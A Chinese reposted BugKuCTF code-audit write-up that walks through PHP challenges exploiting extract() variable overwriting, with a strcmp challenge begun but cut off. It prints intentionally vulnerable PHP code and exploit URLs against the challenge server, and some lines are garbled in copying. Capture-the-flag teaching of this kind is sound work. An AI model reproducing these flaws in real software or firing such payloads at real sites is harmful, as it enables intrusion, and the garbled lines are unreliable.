当前位置:   article > 正文

CTF平台题库writeup(四)--BugKuCTF-代码审计(14题详解)_ctf extract覆盖题目解析代码

ctf extract覆盖题目解析代码

1、extract变量覆盖

  1. <?php
  2. $flag='xxx';
  3. extract($_GET);
  4. if(isset($shiyan))
  5. {
  6. $content=trim(file_get_contents($flag));
  7. if($shiyan==$content)
  8. {
  9. echo'flag{xxx}';
  10. }
  11. else
  12. {
  13. echo'Oh.no';
  14. }
  15. }
  16. ?>

知识点:

变量覆盖

file_get_contents():将整个文件读入一个字符串

trim()去除字符串两侧的空格或者指定字符trim('string','string you want to delete')

$_GET:表示等一下提交变量时,URL 通过 get 的方式传参,传输的数据以数组的形式被封装在$_GET 中。

extract():从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

利用extract()函数的变量覆盖漏洞原理构造payload

漏洞产生原因:extract()函数当只有一个参数时,默认的第二参数是:EXTR_OVERWRITE,如果有变量发生冲突,则覆盖已有的变量。

思路:

代码审计需要满足两个条件:

  1. 1. if(isset($shiyan))  ==TRUE
  2. 2if(shiyan==shiyan==content==TRUE

 

//利用extract()函数变量覆盖漏洞+php伪协议

//利用file_get_content()函数返回字符串+php弱类型(null == "string"  ==》 true

弱类型

  1. http://123.206.87.240:9009/1.php?shiyan=
  2. http://123.206.87.240:9009/1.php?shiyan=&flag=
  3. http://123.206.87.240:9009/1.php?shiyan=&content=

伪协议(有点奇怪此题,用伪协议居然没有显示flag)

  1. http://123.206.87.240:9009/1.php?shiyan=123&file=php://input
  2. 123

2、strcmp比较字符串

http://123.206.87.240:9009/6.php

  1. <?php
  2. $flag = "flag{xxxxx}";
  3. if (isset($_GET['a'])) {
  4. if (strcmp($_GET['a'], $flag) == 0) //如果 str1 小于 str2 返回 < 0; 如果 str1大于 str2返回 > 0;如果两者相等,返回 0。
  5. //比较两个字符串(区分大小写)
  6. die('Flag: '.$flag);
  7. else
  8. print 'No';
  9. }
  10. ?>

知识点:

die()

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/笔触狂放9/article/detail/497739
推荐阅读
相关标签
  

闽ICP备14008679号